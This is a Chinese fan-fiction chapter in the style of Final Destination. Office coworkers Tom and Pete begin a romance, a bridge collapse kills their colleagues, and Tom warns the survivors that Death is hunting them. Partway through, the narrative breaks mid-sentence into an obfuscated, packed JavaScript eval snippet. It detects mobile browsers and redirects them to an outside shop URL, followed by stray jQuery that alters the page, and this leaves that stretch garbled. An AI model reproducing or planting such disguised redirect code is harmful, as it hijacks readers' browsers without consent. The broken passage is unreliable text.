至于皮特,汤姆和他相处数日后,发现这人工作时魅力非凡:圆滑而不谄媚,又注重公平,待人热忱有度。加上他出众的能力,在萨姆为垫底的业绩而苦恼时,早晋升主管,受公司经理丹尼斯·莱普曼的信任,平日春风得意,和垂头丧气的萨姆对比鲜明。 萨姆心胸大,对兄弟的成就服气,不在意自己要在从小到大的好哥们手底下讨生活。他不认为丢脸面,反倒感到骄傲,并引以为榜样,铆足劲要干出一番业绩。 女友莫丽·海柏表示支持。虽然她实在认为男友在这行上没天赋,还不如他做糕点三分之一的水平。 总之,尽管年纪轻轻,但凭借过人的聪明才干,皮特赢得大家的尊重。同事们认可他。 很优秀的男人,汤姆心想。 他找萨姆打听,得知皮特一个月前分手,之后忙于工作,一直单身。 多恰当的时机啊。汤姆面带笑容对萨姆说:“告诉你件事。”对方颔首表示在听。“我要追求皮特。” “啊——"萨姆惊呼出声,一口气卡在咽喉,堵得他磕巴起来,“你……你要追求……没开玩笑?” 上帝!萨姆不是天主教徒,但年幼时,大人常带他去教会参与弥撒,他多少了解点教义。 圣书《肋未纪》告诫:“你不可男人同寝,如同与女人同寝一样;这是丑恶的行为”,同性恋是丑事,人人嫌恶;同性恋者遭人唾弃,别说朝他们吐唾沫,把人处死也不为过,忤逆自然律的人活该背负上血债。 萨姆瞪着眼看汤姆。汤姆脸色平静,甚至还有几分困惑,或许在不解萨姆的失态。面前这个有着一头漂亮黑色卷发的小青年完全没意识说出了不得的话。 两人正身处公司,此时午休,劳作一上午免不了饥饿,人都急于去食堂,渴望吃上顿热饭菜。要不是汤姆有事询问也早走没影。他不是萨姆,很少有人会像萨姆,笨拙而努力,绞尽脑汁着想做好工作。 办公室只剩几人:接电话声,聊天的窃窃私语,还有呼呼大睡的人发出打鼾声。萨姆放低音量:“皮特不是同性恋......” “因为他交往的都是女人?”汤姆问。 萨姆点点头。看出汤姆没有放弃的想法,他苦口劝道:“别看皮特平时好说话,他性子暴躁着呢。发火会动拳脚,碰到什么就拎来收拾人,棍子、烟灰缸、枪……他不在乎挨打的倒霉蛋,好几次把人揍进医院,自己被拘留,都是我去警察局交的保释金。” 汤姆这才明白,“你担心他揍我。”他感觉眼前这个青年人绞尽脑汁着劝告的模样有点可爱。“皮特会拳击吗?” “呃拳、拳击?”萨姆舌头差点打结,“他没学过……你会?” 汤姆左右看了下,发现几名同事已悄声离开。办公室除了自己和萨姆,没有别人。他放心地撩起衬衣。 萨姆下意识瞥去,紧实白皙的腹肌十分有冲击力的映衬在视网膜。他当即诧异得下巴快落地,上下不停地打量汤姆。哪怕汤姆很快放下了衣摆,他的眼神仍无法克制,往返在汤姆的脸蛋和浑然让人想不到的凌厉腹肌上。 汤姆只比皮特矮几公分,但皮特身材结实,体重一百八十磅,脖子有汤姆的大腿粗。两人站一起,只会把汤姆的身形衬得更为瘦削,令人难以想象那藏在单薄衣服下的肌肉能如此漂亮,犹如雪豹捕猎时舒展开的胸肌线条,轮廓优雅,线条不夸张却有力。 汤姆得意地哼了一声,又拉扯起袖子,给萨姆看手臂上的肌肉。 他很自豪。萨姆看得出来这点。汤姆也确实有自豪的资本。袖下皮肤白得反光,却不是松软的白肉,它瓷实劲瘦,起伏利落,勾勒出肉.体的美妙弧度。 看萨姆不敢相信,汤姆贴心地说:“摸摸看。” 他哥们好般亲昵地靠来,手臂瓷器似的,在萨姆眼前晃来晃去。萨姆不自觉把手搭上去,感受到肌理的匀称顺滑,下意识手指一捏。汤姆挑了挑眉,欲言又止。萨姆通红着耳朵收回手。 “怎么样?”汤姆当然知道萨姆没别的意思,不妨碍他想要调笑这位内敛的青年。“能让你满意么?说话呀,萨姆。” 萨姆无奈地瞥了汤姆一眼,不愿叫他嬉弄成功。“什么满不满意,别说胡话。你给我看手臂想说什么,你会拳击?”他冷静地反问。 说话间,汤姆的手搭着工位隔板,有一下没一下哒哒敲击塑料板。衣袖没撂,松松卷在肩膀,那白花花的皮肉在萨姆的视线里动啊动啊,好比灵巧顽皮的鳕鱼,滑不溜秋,让人有几分想抓的心痒。 萨姆深深吸了口气,没忍住,撇过了头。这一侧身,红得厉害的耳朵暴露在汤姆的眼前。 哇,这家伙,汤姆没见过这么红的耳朵。他不好意思再逗弄,收敛起玩心,放下手臂。 看着衣衫遮住了漂亮皮肉,萨姆心底有微妙的可惜。汤姆的答复让他回神。 “法国人都像你这么聪明吗?”汤姆边说边把袖管捋直,抚平褶皱。 虽然有所猜测,但汤姆亲口吐出肯定,萨姆难掩惊讶。 这幅表情取悦了汤姆。他笑得露出白牙,倘若有尾巴,早自得地翘起。他带了几分骄傲,几乎用宣布的口吻说,“我会哦。我在墨西哥学的。” 提到墨西哥,想起社区里的混混、强盗、酒鬼、毒虫,汤姆语气沉下去:“那地方想要出人头地只有两条路,毒品,或者拳击。他们能靠打拳吃饭。一个墨西哥拳击手再瘦弱,上了拳台,保管揍得门外壮汉哭爹喊娘。” 他拍拍萨姆的肩膀。“放心,我可厉害了。只能是我揍他啦。” 萨姆不再反对,还为好兄弟皮特默哀起来,但瞧了瞧汤姆俊俏又不失秀气的五官,一个念头突兀地冒出来:也许还不错? 汤姆的追求向来简单,约人吃饭,去酒吧耍。当皮特畅快喝着酒,他晃着手中的酒杯,漫不经心地叫皮特做他男朋友。 皮特还未咽下的酒全喷溅在吧台。他原是心虚的,用恍如梦游的神情迷瞪打量四周,脑袋转了一圈,只发现歌声、说话、跳舞、表演,无不嘈杂,无不真实。 好极了,他没有醉得昏入梦乡。不是自己的非分之想。该死! 顿时,皮特犹如板凳扎屁股,猛地跳将起来。他提高了音量的怒斥掩盖在比他更为喧哗的音乐中:“扯淡!我警告你,汤姆,再说胡话,我会让你挨顿好揍。” 皮特挥了挥拳头,眉头愤怒地挑起。汤姆却敏锐察觉到几丝不对劲。 皮特对他并非毫无心思。 汤姆乐得一口闷掉酒,掩饰嘴角的笑意,免得给生气的皮特火上浇油。毕竟夜晚漫长,不该浪费在吵架上。 皮特还在骂骂咧咧:“……告诉你,我不是同性恋!明白吗?刚才的屁话我就当没听过,我们还是好兄……”声音戛然而止。 汤姆突然抓住他捏成拳的手,使力一拽。力道竟大得让皮特往前跌,在隔汤姆一个拳头的距离时停住—— 皮特两手分开撑着汤姆身后的吧台,形成的近乎怀抱的姿势里,汤姆笑得坏兮兮,活像恶作剧得逞的小孩。 幼稚。皮特烦躁地想,汤姆唇肉湿淋淋,鼻尖似乎有一股清冽的酒味。他喉咙滚动,狼狈地要后退。 汤姆忽然凑上来,轻轻咬了一口皮特的唇。不待皮特反应过来,他向后斜靠吧台,酒吧光怪陆离的光线打在他脸上,长睫毛落下细密的阴影。 皮特愣神,过了一会儿,他才嘶哑着嗓音说:“该死……你知道自己在做什么吗?我他妈不喜欢男人……你要是个女人……” 对啊,汤姆是个女人多好。皮特光是想着这个可能性就呼吸一窒。 汤姆耸肩,说:“那你就把我当女人喽。”反正他对体位无所谓,指尖暗示着划过皮特的皮带,“今晚……” 皮特猛地后窜,宛如汤姆方才是用刀抵上他的腰。“妈的,你能不能像个男人。” “你试试?”汤姆笑,“我不介意操劳。” “操,没门。”太坏了。可偏偏……让皮特心动不已。 是的,心动。皮特愤恨地、用力地亲了汤姆一口。“坏小子。” 他们离开酒吧,打了辆车去皮特家。门刚合拢,皮特再也忍不住,俯身压上汤姆。两人的身影疯狂纠缠起来,难舍难分,从过道到卧室。 次日。汤姆醒来,笑嘻嘻地问皮特:“你不是说我会挨顿好揍嘛。” “没有吗。”他抓着汤姆的手往下,“昨晚它揍得你哭。” 汤姆推开他,从床上起身,“我不想挨揍。” 他裸露漂亮的肉.体看得皮特心热,自背后抱着人吻了起来,嘴唇离开皮肤的空隙,声音泻出:“对不起……我说错话了……应该是挨顿好.操。” 当天,萨姆敲响好兄弟的家门,走进客厅,被餐桌上眼熟的身影吸引了视线。 萨姆露出见了鬼似的表情。“你怎么在这!”汤姆怎么在皮特家吃午饭,还穿皮特的衣服。 汤姆作出思考的神色,这时,厨房响起脚步声。汤姆笑了下,“你问他去。”他指了指端着菜出现的皮特。 萨姆吞吐道:“皮特……你……原来——” “滚蛋。”皮特打断,把盘子撂到桌面,急匆匆地拉萨姆到墙角,对穿一条裤子长大的兄弟发出少有的怒火。“不许胡说八道。” “难道你们没在一起?”萨姆不相信,皮特不是风流的人,他都放汤姆在家过夜了。 皮特失声。昨晚,他昏了头,早上又犯傻,主动提出交往。要知道那可是个男人! 但话已经说出口,皮特不是没担当的人。他安慰自己:总不能当个混蛋吧。 —— 几个月过去,时间很快来到4月,公司准备组织一次团建。皮特安排萨姆做出发前的早餐。 早晨,天蒙蒙亮,公司广播已经循环播了报数遍。 “早上好,员工们。希望你们为这一次激动人心的团队拓展活动做好了准备......” 当汤姆下车,萨姆已经准备好了餐食,正吆喝同事们品尝。 数米之外飘来浓郁的奶香,还有小麦与水果的清香。汤姆预感早餐不简单。走近后,有心理准备的他仍吃了一惊。 蓝白条格餐布上摆着甜点、三明治、土豆沙拉、各色水果切片,简直眼花缭乱。 萨姆催道:“快尝,合你口味不。” 汤姆尝了口奶油泡芙,眼前一亮。美味!他拿起圆盘,边挑边问,“皮特让你做这么多吗?”太精巧、太丰盛了,说是餐厅大厨做的他也信。“你可得说实话。我会支持你。” 话音刚落,一道声音远远传来。“别冤枉我。” 两人转头,看到皮特抓着份文件走来。“我只叫萨姆准备早餐,你知道的,弄点现成的甜甜圈和咖啡就行。”嘟囔中,他停在汤姆身边。 汤姆正好拿起一份果酱面包,顺手递去,皮特摇了摇手。在人前,他和汤姆表现得不熟。 “主管的眼界就是高,瞧不上咱们呢。”汤姆说。 皮特忙低声哄人。汤姆见他说话前还要环顾四周,生怕人瞧见,感觉乏味。他没说话,走到萨姆的另一侧。 萨姆杵在两人中间,尴尬地摸着后脑勺,不知怎么又有点高兴。本来和汤姆隔了几米,现在两人的肩膀只有一个拳头的距离。他努力忽视余光里汤姆光洁的面庞,解释道:“皮特没叫我这么弄。”嘴唇不好意思地抿了下,“我想做到最好。” “你确实做到了。”汤姆举了举盘子里精美的早点。 “谢谢。”萨姆羞涩一笑。 “你该去当个大厨。不是有个去巴黎一流餐厅学习的机会,他们没给你?” “……我不去。” 汤姆愣了下。“为什么?你有这个天赋,当销售屈才了。” 皮特适时插嘴:“兄弟,是朋友我才这么说。你该好好思考了,当大厨,还是销售。我要是老板,你早被辞退了。” 汤姆给了皮特肩膀一巴掌,他还记着方才的事,力道重得皮特龇牙咧嘴。“少乱说。” 萨姆苦涩地笑了笑,“没事,我明白他的意思。”皮特为自己着想,说话才不中听。 突然,一辆亮红的雪佛兰汽车驰入停车场。汤姆眼尖地瞧见,用没拿盘的右手胳膊肘推了把萨姆,“看,谁来了。” 萨姆见到从车上下来的金发身影,神情复杂起来,眼神定了几秒,低下头,摆弄着桌面上已经不能再整齐的早餐。 汤姆咬着勺子,“你们还在吵架?” 最近两人气氛僵硬,持续了快一个月,没想到现在也没和好。 皮特说得言简意赅:“去跟莫丽道歉吧。” 萨姆皱眉。“为什么?” 皮特摊手,“这不重要。” 汤姆把吃完了光秃秃的餐盘放上桌面,反手拍萨姆的胸膛,“皮特说得没错。哪能让女友生这么久气。不称职哦。” 没这么简单。萨姆这回没反驳,闷闷地说:“不是道歉的事。反正我们分手了。现在只是同事。” 汤姆和皮特对视,皮特努嘴。他也不知道发生了什么,但不妨碍他同情地拍拍萨姆。 人们陆续到齐,享用早餐。大巴车早停在路边。汤姆踩上踏板时,注意到大巴车边缘用白漆刷的字: “WATCH YOUR STEP(当心脚下)” 一股微妙的森意窜过大脑。他目光凝固几秒,直到一脸色眯眯的埃萨克·帕莫靠近。 除了圆胖的脸蛋和身材,埃萨克和花花公子没两样,总爱调笑漂亮的女同事。 莫莉向萨姆埋怨过埃萨克。汤姆听到后教训埃萨克一顿,从那后埃萨克记恨上心,老鼠似的悄悄盯着他。倘若那天经理丹尼斯叫汤姆去办公室,准是埃萨克打的报告。更令汤姆厌烦的是,不知从什么时候起,这家伙看他的眼神也色眯眯起来。 汤姆斜眼瞧他。阳光之下,那双漂亮的眼珠,黑曜石般晶亮,却叫埃萨克浑身一颤。 旁人看来美丽和善的面孔,埃萨克只感到凶悍,挨揍那天汤姆也这么瞧人。他不由心生胆怯,后退几步,讨好地笑了笑。 等人都上车,巴士开出园区,在林荫道里穿行,接着一个拐弯,驰进郊区的公路,经过年久破旧的指示牌,上面红底黑字,标着—— CAUTION CONSATRUCTION(小心:桥梁维修中) 黑漆绘就的悬索桥,中心脱漆卷起,好像断成两截的木棍,刺入汤姆的眼睛,在脑海里挥之不去。 同事们三三两两的交谈声传来。在过道旁的座椅上,和他同一批入职的实习生坎迪斯·霍柏尔把玩手腕上的皮筋,身侧的黑人监工内森·希尔斯好奇发问。她解释自己在寻求好运。 好色的埃萨克坐在前排打电话。他和不知道第几个宝贝聊得忘乎所以,说“和一群办公室的白痴参加团建”。相隔两个座位的经理丹尼斯转过脸来,秃顶的圆脑袋上,短眉皱起,表情很不愉快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764432|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 埃萨克连忙否认,改去洗手间打电话。 一辆货车载满木材,轰然经过,一度盖住车置电视上播放的团建活动承办方的宣传片声。 “180咨询公司为各位准备好冒险之旅,接下来两天,你们将接受……” 汤姆的神经一直翁然振响。车拐弯下坡时,他瞧见蜿蜒公路尽头的长桥,江面小船的帆鼓起,细看之下,吊桥上纤细的钢缆在空中晃晃悠悠。他凭直觉感受到某种纯粹而原始的冰冷涌来,再也遏制不住,猛地直起身。 惊呼声响起。大家诧异地看来。皮特关心地问,“汤姆,怎么了?” 汤姆捂着肚子呻吟:“我……不舒服……肚子疼……” 经理丹尼斯在汤姆正前方的位置。他回头,依旧是那副短眉高皱的模样,撅着嘴唇,“怎么回事儿,汤姆,吃坏肚子了?谁准备的早餐——哦是你,萨姆,你怎么……” “不,和早餐无关......我有胃病。”丹尼斯被打断脸上更不高兴。“我想......我得下车......去医院。” 丹尼斯仔细打量汤姆几眼,也许是想看小伙子是否撒谎。但汤姆脸蛋太有欺骗性,亚洲人偏瘦削单薄的身材增加可信度。但他还是感到搅兴,不说话,看了一眼皮特。 皮特会意,他接口:“我叫医生在下车的地方等着。” 丹尼斯点点头,训了汤姆一句:“你得忍耐,好歹是个男人。” 他可能以为解决了问题,正要转回头,却见汤姆忽地朝他的座椅弯腰来,低头呕了一声,吓得丹尼斯跳脚。 皮特赶紧扶着汤姆。干呕了好一会儿,汤姆才抬起苍白的小脸,眼睛闪着刚才极力掐自己大腿疼出来的泪花,“没事儿,我忍住了。” 丹尼斯皱眉,准备移至邻座,却见汤姆抓着车靠背,又要呕吐。 “行了,你下车。”他嫌恶地说。 汤姆没急着走,而是问皮特:“你能陪我吗?” 他很少有脆弱苍白的时候,皮特感到心疼,恨不得立马抱起汤姆飞奔去找医生。不,不行。皮特迟疑地看向丹尼斯。 丹尼斯冷冷一笑。皮特便面露歉意,“我走不开,得负责活动呢。” 萨姆自告奋勇:“我来。” 经理斥他。“瞎凑什么热闹。” “抱歉。”萨姆讪讪地说,“我看汤姆很不舒服,一个人太危险。”他没坐下,神情还在犹豫。 莫莉见他傻站的背影。总是这样。萨姆总是在犹豫,总是做不出一个选择。她感觉疲惫,像陪着一个长不大的天真的小孩,才提了分手。 “我来吧。”莫莉直接起身走来,完全忽视丹尼斯的瞪视。她销售业绩第一,完全不惧经理。汤姆又帮了她,使她免受埃萨克的骚扰。现在汤姆有困难,她能不理会? “谢谢你。”汤姆对搀扶自己的莫莉说。在下车前,他最后问皮特,“你真的不陪我?” 他的眼神令皮特蓦地心惊,腾的一声站起,追上去。经理在身后追问他干什么。皮特只匆匆留了一句,“我去送送他们。” 下了车,汤姆和莫莉就站在不远的马路牙子上。皮特跑过去,拉住汤姆说:“你为什么下车?” “我说了,肚子不舒服。” “我看起来很像个傻子?”他冷笑一声,“我知道你没有胃病。告诉我,到底是怎么回事。” “我说了,你会留下?” “......你明知道不行的。” 汤姆转头面向远方的大桥,“看到那座桥了吗?”他的语气飘忽,因自己也不确定。“你说,它会不会嘭的一声,断裂开呢?” 皮特失望地看了一眼汤姆。他认为汤姆在耍人。“你不愿意说,那算了。我回去了。” 汤姆看着皮特转身离开,上了车。引擎启动,巴士远去,掩映在林木中。 莫莉安慰地拍了拍汤姆。她和萨姆是公司里唯二知道两人关系的人。她以为汤姆因爱人的不信任与忽略而伤心。 实际上,汤姆在悲伤没错,可他是在因为可能将逝去的生命。他希望是自己多想。 最后两人打了辆出租车,途中汤姆说感觉不疼了,不用去医院。莫莉没有怀疑。先送莫莉回家后,汤姆叫司机开去第五街道。他家在那里。 进屋没多久,客厅的电话响起。汤姆接起来,那头沉默,他疑惑地拿起话筒瞧了瞧。电线连接得好好的,没有损坏。 “谁在恶作剧?再不说话,我挂了。” “是我,皮特。” 这话过后,又奇怪地没有说话声。 汤姆再次看了一眼话筒,确实没坏。“你们到了吗?这么快。” 那头的人声音嘶哑,仿佛嗓子堵了块石头,他用尽了力气才吐出来。“你怎么也知道?” 也知道?“知道什么?”汤姆没反应过来。 皮特颤声说:“桥——桥塌了。”他完全没想到汤姆那句话居然会成为现实。明明听着就像句玩笑话! 桥真塌了。汤姆明白过来,他注意到:“也?” “车正开上桥,萨姆忽然大叫,嚷嚷桥马上会塌。谁都觉得他在胡扯。谁知道......它真塌了,从中间断成两截,人和车一个个都往下掉。乔治、基恩、艾米斯......他们都没跑出来。他们都死了。”皮特很庆幸,汤姆早早下了车,不用遭受这一切。 汤姆瞬间头皮一阵发麻。经由艾瑞丝的教导,他有时能推测出死神的手段。但这是第一次,他遇上了一场灾难,和—— 本该在灾难上死去的人们。 幸存者的归宿是死亡。这群人会像空中餐厅的幸存者那样,一个接一个的惨死。死神悄声无息缠上他们,直到丧命前,他们只会这么度过: 孤独、疑神疑鬼、永远丧失正常的人际交往。 汤姆感觉喉咙干涩,说不出话。也许一无所知对他们来说,才是幸运,不必担心害怕,忧虑死神何时下手。他要告诉他们吗? 皮特等不到回复,也不想再耗心神在糟心事上。“算了。”他的嗓音忽然柔软,“我爱你,汤姆。” 这一次与死神擦身而过,皮特在与断桥夺命赛跑时,满脑子想得不是死亡,而是汤姆。他这才发现自己早已爱上汤姆,全心全意的爱着他。 “对不起,之前我竟然对我们的关系羞于启齿。不敢向众人承认,我就是个胆小鬼。亏我还比你大几岁,太没担当了。”他的嗓音忽然提高音量,“丹尼斯那个秃子,让他去死。” 话筒那头立马传来嘈杂的声音,骂声、劝阻声。汤姆听出来,是丹尼斯在骂皮特。“你们在哪里?” “警察局。他们怀疑萨姆是恐怖分子,在桥上藏了炸弹。虽然我不知道萨姆从哪里得知,但我还不了解他?和我一样,胆小鬼一个,哪里有胆子装炸弹。他连去巴黎学习的决心都下不了......”皮特说着庆幸起来,“这场灾难也不算坏事,让我发现自己的心意。等一切结束,我们重新开始......” 汤姆打断他,“怕是不会结束了。” "什么?" “死神盯上你们。” 皮特这次无法忽略汤姆的话。“......你的意思是我们会死?”他艰难地说。 汤姆不再说话。他想着死神,想着之前死去的安娜姨妈,还有其他许许多多的幸存者。 也许对死神来说,他们都是逃犯,本该死在镰刀下,却因有人窥见命运,侥幸逃脱。祂设计的充满巧合的死亡,不过是让一切回归正轨,灵魂去往应去之地。 可是真该这样?明明好不容易活下来,为什么不肯放过这群可怜人? 汤姆思考了整整一夜,最后决定他要像艾瑞丝那样: 他该做点什么。哪怕结果徒劳无功。 45.死神来了3 汤姆决心向众人吐露真相。皮特告诉他,没人会缺席葬礼。 葬礼在次日举办。早晨来得快。天空才泛出鱼肚般的白,汤姆出门。他的家离墓园不远。 一路走来,越靠近墓园轿车越多,人也越多。汤姆庆幸自己选择了步行,他与人群擦身而过时,讨论的声音飘来。 “那个大桥倒塌得太不可思议,太奇怪了。” “简直像是上帝的旨意......我得去教堂点根蜡烛。” 如果真有神的手笔,汤姆想,只有死神那家伙才会干这种事。 葬礼现场来的人不多,时间还早。《每日报》金发碧眼的记者正对摄像头说话: “大桥坍塌,灾难造成八十六人死亡,官方称北部海湾大桥坍塌......在幸存者中有八位预言纸业公司的雇员,其他十七位成员均丧生。” 她身后的绿草坪摆放黑椅,旁边的马路时不时传来引擎的嗡鸣声,陆续停靠的轿车把泊油路的一侧挤得满当。 汤姆穿行于来吊唁的宾客中,目光逡巡一圈,在人群后方的墓地上,发现皮特几人的身影。 他们站在柏杨树下,神情激动,似乎在争执。周围几步远的草地挖了洞,露出黝黑石碑的一角,在日光下闪烁瘆人的光。还有几处未寻到尸体的空坟,光秃秃地裸着潮湿浑黑的泥,瞧上一眼,便感觉有股湿冷的气息缠来。 汤姆移开视线,大衣拂过由花岗岩砌成的墓碑。走近时,埃萨克的声音入耳。这个矮胖的男人从没用过这么严厉的语气。 “你怎么解释?” 他质问萨姆,得到的回复只是:“抱歉,我解释不了。”语气很无力。 坎蒂丝无法理解。“总会有一个理由的。”她执着地望向萨姆。那张俊秀温和的面庞只回以一个苦涩的笑。 “布洛克警探也这么说,可......” 萨姆没说完,“各位,”汤姆轻声打断他,“我想我能解释。” 众人转过头。皮特沮丧的冷脸变得喜悦,他高呼一声汤姆,疾步走来。其余人茫然地望来。 汤姆感受到投注身上的目光,里面有悲伤、惊讶,以及不知真相以为死里逃生的天真的庆幸。唯独没有恐惧。 显然,没人意识到即将降临的危险。他如果不说,或许他们到死前那一刻也只会觉得是个意外。汤姆忽地踌躇起来,耳畔同事们的亲切呼唤让他回神。 萨姆和莫丽分别抱了下汤姆。和他一样的亚裔女孩奥利维亚·卡斯特亲切问好:“汤姆,你来了。” “你真幸运。肚子疼得太适时了。”坎蒂丝羡慕地扫了一眼汤姆的肚子。 皮肤漆黑的内森从她身侧走出,用力拍汤姆的肩,“坎迪斯说得没错。你小子太他妈走运了。你是得了上帝的青睐吗?尽管我们最后有惊无险,但他老人家连惊吓也不叫你尝。” “上帝的青睐没有。死神的要吗?”汤姆说。 内森赶忙后退,厚嘴唇连呸了几声,“晦气。”他才从大桥的事故死里逃生,听不得这种话。 皮特最后一个拥抱汤姆。时间格外长,汤姆推搡他几下,才恋恋不舍退开。 那日灾难过后,皮特想见汤姆。可汤姆拒绝得很坚定。到现在,他们已经有快两天没见。皮特的一双眼里全是火热,顾不上同事们在场,他试探着想朝汤姆的腰伸手。 汤姆看也没看他,手下狠拍。皮特痛呼一声,讪讪地改为揽肩膀,头郁闷地抵着汤姆的脑袋。 然而瞧见坎蒂丝他们脸上惊讶的表情,皮特满意了,痛快又自得。早该这么做了。他想。让那些爱传闲话的杂种见鬼去。 悲伤短暂地离开他们。大家伙个个圆睁双眼,内森皮肤黑,衬得眼白更突出。他说话混乱:“你们......认真的?别开他妈的玩笑......两个混蛋,把兄弟瞒得辛苦啊。” 唯有埃萨克还惦记着汤姆的话。“汤姆,你刚才什么意思?把话说清楚。”看到面色红润的汤姆,他想起那天汤姆的奇怪举动,怀疑加深,本来指向萨姆的矛尖转而对准汤姆。“难道——你放了炸弹?你才死活要下车!” “少胡扯。”莫莉扶额。 萨姆皱眉说:“新闻说了是工程问题,你懂吗?意思是它纯粹是场意外。” 皮特则粗暴地推他一把,唾骂:”你他妈少扯淡。” 埃萨克跌了几步,倒在树上,感觉自己出了丑,脸色涨红。可恨的是他环顾一圈,没人支持。给汤姆说话的莫丽和萨姆不必提,奥利维亚还在笑,内森和坎迪斯面露迟疑。 迟个屁!他忿忿不平,没胆量说,把自己胸腔憋气得涨胖一截。 “向你们保证,和我没关系。”汤姆递上准备好的一沓报纸,边缘泛黄,明显年代久远。他昨日准备了一天,特意找人要到的老报纸。“看看它吧。” 萨姆接过,其他人凑来脑袋。他们看到标题名为‘空中餐厅开业突遭意外’的文章,附上一张横跨两个栏目的众人跳舞照片。黑白色的照片瞧着让人不安,有地方已经褪色,好几张人脸模糊不清。蝌蚪大的字母色泽斑驳,他们细看了许久才辨认出,和汤姆的讲述基本重合。 “这是二十七年前的报纸,上面报道了西雅图当日开业的空中餐厅遭遇的意外——有人声称,建筑将塌,后来果然发现了安全隐患,于是餐厅永久停业。” “好像有点熟悉......”坎蒂丝脸色苍白,颤抖的声音在空气里回荡。四周的死寂使她清晰听到自己说的话。 上帝啊。她好希望是自己想多了!可好友们的脸色都十分难看,他们该想到一块去了:萨姆在巴士上的诡异的预言般的举动。坎迪斯感觉心脏被无形冰冷的巨手揪紧,喘不上气来。 萨姆隐有不好的预感,把报纸攥出褶皱。“后面发生什么?” “当时餐厅有一百多人。到现在,只剩下几个。其他人......”汤姆看着众人,轻声说,“都死了。” 当即,几声不敢相信的叱责。“胡说!” 汤姆朝萨姆手中的报纸抬下巴,“继续看。” 于是萨姆他们翻看起报纸。除了天空餐厅,还有数张报纸刊登了各种或大或小的事故。越看,他们翻报纸的速度越快,竟有一股疯狂的劲。 坎蒂丝扯出一张,绝望地发现上面的死者照片,和天空餐厅登报出来的其中一个人长得一模一样。报道来自当地的权威报社,绝无作假的可能。甚至坎蒂丝也有印象,当初这起事故在社区、学校津津乐道。父母在饭桌上不无后怕地谈及。 汤姆说:“幸存者本不该活着,二十年来,死神逐个杀死,让一切重回正轨。”他转头向萨姆,“你看到了大家的死状吧?说出来。” 坎蒂丝猛地抬头,报纸哗啦被用力抓裂。她从汤姆的镇定中嗅出一丝希望。“你有办法吗?”她语气急促。 “我只能说尽力。”汤姆不敢打包票。他之前从没遇到过。艾瑞丝嫌他小鬼一个,帮人对抗死神时从不带他。等他长大,幸存者只剩下艾瑞丝。 坎蒂丝宛如抓住救命稻草,一把握住汤姆的手。皮特瞪大了眼睛。“好。我相信你。”她怯怯地靠在汤姆身边,还凭借体操选手的肌肉,巧劲挤走皮特。 皮特好生气。他想骂人,埃萨克正好撞上来。“你别扯淡!说些什么吓人的话。都是你搞的鬼对不对?你接下来是不是要钱了?说吧,给你多少钱,保证我不死。” “滚你妈。”皮特揪起埃萨克的衣领,“再乱说话,我现在就送你去见上帝,信不信?” “等等,别冲动。”“皮特停下。” 好友们纷纷劝阻,七手八脚地拉住争执的两人,把他们远远地分开。 埃萨克抚着起皱的衣领,心有余悸。混乱的场面还吸引来宾客的视线。萨姆尴尬地冲他们摆手,“不好意思。这里没事儿。” 汤姆太阳穴一突一突,他感觉有点丢人。在葬礼上打闹算什么?皮特这人脾气还算好,但冲动上头,就爱动拳脚。真是! 汤姆刚举手,皮特心虚地把脸凑来,汤姆轻给了一巴掌。“说正事呢,你动什么手。” 皮特反手握住汤姆,“我看不惯他说你。”他揉了揉,余光悄悄而得意地斜了坎蒂丝一眼。 汤姆斜他一眼:“你是看不惯,还是本来有火,拿人出气?” 皮特顿时僵住,支吾起来。 坎蒂丝发出不客气的嗤笑。“别管他们。两个没脑子。”她问萨姆,“你听到汤姆的话了?说吧,我们是怎么死的。”她语气似乎平稳,手指却不停绕着腕间的皮筋。 萨姆说:“桥断了,你最先掉下去,桅杆穿透了胸口,然后是大巴、奥利维亚;内森被钢块砸飞;沥青劈头盖脸地浇淋丹尼斯,他也落水了;最后是皮特和我。” 莫莉等了几秒,萨姆没再继续说。“我呢?”她忐忑不安地问。 萨姆平静地看向莫莉。经过濒死的危机,他彻底放下了和莫莉的感情。“你在桥的对岸。在预言中,我死亡之前,你都活着。”他没说的是,在预知梦里,他将第一个逃生的机会让给莫莉。 没必要。如果是其他人,比如汤姆,他也会这么做。可是......萨姆心底有个声音冷冷地叩问,换成皮特呢?皮特和他是好兄弟,各凭本事,哪里需要谦让。是吗?汤姆会泰拳,比你厉害,你为什么让他?换成奥利维亚、坎蒂丝,你还会这么做?萨姆忽地不敢深想。 自得知事故来,汤姆终于露出一个放松的微笑。“太好了,莫莉。”他口吻轻松,“你没事儿。” 莫莉还想知道其他人都没跑过坍塌的大桥,她是怎么活下来的。可看着萨姆的眼睛,她已经明白。“谢谢你,萨姆。” 萨姆摇摇头,“我们还是朋友。” “我!那我呢?”埃萨克急忙拉住萨姆。“你没提我,我也活着吧?” 萨姆努力回想了下,遗憾地表示:“我跑的时候没看到你。” 皮特挑了下眉:“你不是去厕所了。或许你一直待车里,没出来。” 埃萨克浑身打颤,嘴里喃喃不可能,更用力地扒着萨姆追问。他的手劲不小。萨姆不耐烦地把那双肥短的手扯下胳膊。“反正我没见着。桥的那侧你也不在。” “埃萨克别太伤心,或许你跑得快,早早跑出大家的视线呢?”皮特嘻嘻笑。他知道埃萨克跑不了几步就喘气,故意嘲弄他。 埃萨克怒吼,下巴的肉颤动。“你个臭变态好到哪儿去!没听到吗?你也会死,你死在萨姆前面。” 皮特懒洋洋伸了个腰,“在你后头就好。” 说不害怕是假,但皮特余光瞥了汤姆一眼,十分不想在喜欢的人面前露怯。那日大桥坍塌时,自己慌乱得像条狗,要多狼狈就有多狼狈,他很庆幸汤姆没看到。 埃萨克注意到,讥诮道:“汤姆可没上车。你死了,他去和别的男人上床。不知道□□的时候会不会想起你这个短命的前男友?” 